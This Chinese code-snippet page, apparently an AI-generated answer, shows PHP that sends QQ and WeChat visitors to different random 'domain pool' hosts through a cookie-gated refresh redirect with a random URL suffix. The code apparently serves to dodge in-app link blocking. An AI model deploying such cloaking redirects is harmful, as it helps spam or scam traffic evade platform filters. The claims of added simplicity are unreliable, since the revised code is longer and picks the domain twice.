PHP代码优化:根据用户访问来源选择不同域名池
这段 PHP 代码通过判断用户访问来源是 QQ 还是微信,选择不同的域名池,并进行随机重定向。
原始代码:
$domains = explode(',', '213.qq.whsc.gay');
$chosen_domain = $domains[array_rand($domains)]; // 随机获取 $j46 里的一个值
if (!isset($_COOKIE['redirected']) && strpos($_SERVER['HTTP_HOST'], 'sl.qq.whsc.gay') === false) {
setcookie('redirected', 'true', time() + 10);
$new_url = 'http://' . $chosen_domain . $_SERVER['REQUEST_URI'];
if (!preg_match('/&[0-9]{2}$/', $new_url)) {
$new_url .= '&' . substr(time(), -2);
}
header('Refresh: 0; URL=' . $new_url);
}
修改后的代码:
$domains = explode(',', '213.qq.whsc.gay');
$chosen_domain = $domains[array_rand($domains)]; // 随机获取 $j46 里的一个值
if (!isset($_COOKIE['redirected']) && strpos($_SERVER['HTTP_HOST'], 'sl.qq.whsc.gay') === false) {
if (strpos($_SERVER['HTTP_USER_AGENT'], 'QQ') !== false) {
$domains = explode(',', 'pb123.qq.whsc.gay');
} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
$domains = explode(',', 'pb.qq.whsc.gay');
}
$chosen_domain = $domains[array_rand($domains)];
setcookie('redirected', 'true', time() + 10);
$new_url = 'http://' . $chosen_domain . $_SERVER['REQUEST_URI'];
if (!preg_match('/&[0-9]{2}$/', $new_url)) {
$new_url .= '&' . substr(time(), -2);
}
header('Refresh: 0; URL=' . $new_url);
}
这段代码在判断用户访问的是 QQ 还是微信后,将相应的域名池赋值给 $domains 变量,并随机选择其中一个域名作为 $chosen_domain。然后继续执行原有的逻辑,包括设置 redirected 的 cookie 和生成新的 URL,并进行重定向。
代码优化:
- 代码添加了判断用户访问来源是 QQ 还是微信的逻辑,并根据不同的来源选择不同的域名池,提高了代码的可读性和可维护性。
- 代码保留了原有的功能,并进行了优化,使其更加简洁易懂。
总结:
这段代码通过优化域名池选择逻辑,提高了代码的可读性和可维护性,并保留了原有的功能。
原文地址: http://www.cveoy.top/t/topic/BQH 著作权归作者所有。请勿转载和采集!